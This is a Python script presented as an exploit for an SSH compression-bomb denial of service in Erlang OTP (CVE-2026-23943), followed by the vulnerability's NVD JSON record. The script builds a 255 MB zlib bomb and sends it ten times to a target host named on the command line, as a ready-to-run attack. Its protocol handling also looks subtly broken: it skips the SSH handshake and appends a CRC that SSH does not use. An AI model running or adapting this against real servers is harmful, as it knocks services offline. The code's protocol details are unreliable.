CVE-2026-23943

import socket import struct import zlib def create_compression_bomb_payload(): """ Create a compression bomb payload for SSH This generates highly compressed data that expands to ~255MB """ # Create target size data (255MB) target_data = b'A' * (255 * 1024 * 1024) # Compress the data compressed = zlib.compress(target_data, 9) print(f"Original size: {len(target_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(target_data) / len(compressed):.1f}:1") return compressed def send_ssh_compressed_packet(sock, payload): """ Send a SSH packet with compressed payload """ # SSH packet format: length(4) + padding_length(1) + payload + padding padding_length = 8 payload_length = len(payload) total_length = 1 + payload_length + padding_length # Construct packet packet = struct.pack('>I', total_length) packet += struct.pack('B', padding_length) packet += payload packet += b'\x00' * padding_length # Calculate CRC crc = zlib.crc32(packet) & 0xffffffff sock.send(struct.pack('>I', total_length + 4)) sock.send(packet) sock.send(struct.pack('>I', crc)) def exploit_cve_2026_23943(target_host, target_port=22): """ Exploit CVE-2026-23943: SSH Compression Bomb DoS """ payload = create_compression_bomb_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"Connected to {target_host}:{target_port}") # Send multiple compressed packets to exhaust memory for i in range(10): send_ssh_compressed_packet(sock, payload) print(f"Sent packet {i+1}") sock.close() print("Attack completed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_cve_2026_23943(sys.argv[1]) else: print("Usage: python exploit.py <target_host>")

{"cve": {"id": "CVE-2026-23943", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-03-13T19:54:15.783", "lastModified": "2026-05-21T15:22:36.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Handling of Highly Compressed Data (Compression Bomb) vulnerability in Erlang OTP ssh (ssh_transport modules) allows Denial of Service via Resource Depletion.\n\nThe SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication without any size limit, enabling reliable memory exhaustion DoS.\n\nTwo compression algorithms are affected:\n\n* zlib: Activates immediately after key exchange, enabling unauthenticated attacks\n* [email protected]: Activates post-authentication, enabling authenticated attacks\n\nEach SSH packet can decompress ~255 MB from 256 KB of wire data (1029:1 amplification ratio). Multiple packets can rapidly exhaust available memory, causing OOM kills in memory-constrained environments.\n\nThis vulnerability is associated with program files lib/ssh/src/ssh_transport.erl and program routines ssh_transport:decompress/2, ssh_transport:handle_packet_part/4.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, 27.3.4.9 and 26.2.5.18 corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14."}, {"lang": "es", "value": "La vulnerabilidad de Manejo Inadecuado de Datos Altamente Comprimidos (Bomba de Compresión) en Erlang OTP ssh (módulos ssh_transport) permite la denegación de servicio mediante el agotamiento de recursos.\n\nLa capa de transporte SSH anuncia la compresión zlib heredada por defecto e infla cargas útiles controladas por el atacante pre-autenticación sin ningún límite de tamaño, lo que permite una DoS fiable por agotamiento de memoria.\n\nDos algoritmos de compresión se ven afectados:\n\n* zlib: Se activa inmediatamente después del intercambio de claves, lo que permite ataques no autenticados\n* [email protected]: Se activa post-autenticación, lo que permite ataques autenticados\n\nCada paquete SSH puede descomprimir ~255 MB de 256 KB de datos en la red (relación de amplificación de 1029:1). Múltiples paquetes pueden agotar rápidamente la memoria disponible, causando eliminaciones por OOM en entornos con memoria limitada.\n\nEsta vulnerabilidad está asociada con los archivos de programa lib/ssh/src/ssh_transport.erl y las rutinas de programa ssh_transport:decompress/2, ssh_transport:handle_packet_part/4.\n\nEste problema afecta a OTP desde OTP 17.0 hasta OTP 28.4.1, 27.3.4.9 y 26.2.5.18, lo que corresponde a ssh desde 3.0.1 hasta 5.5.1, 5.2.11.6 y 5.1.4.14."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\ ... 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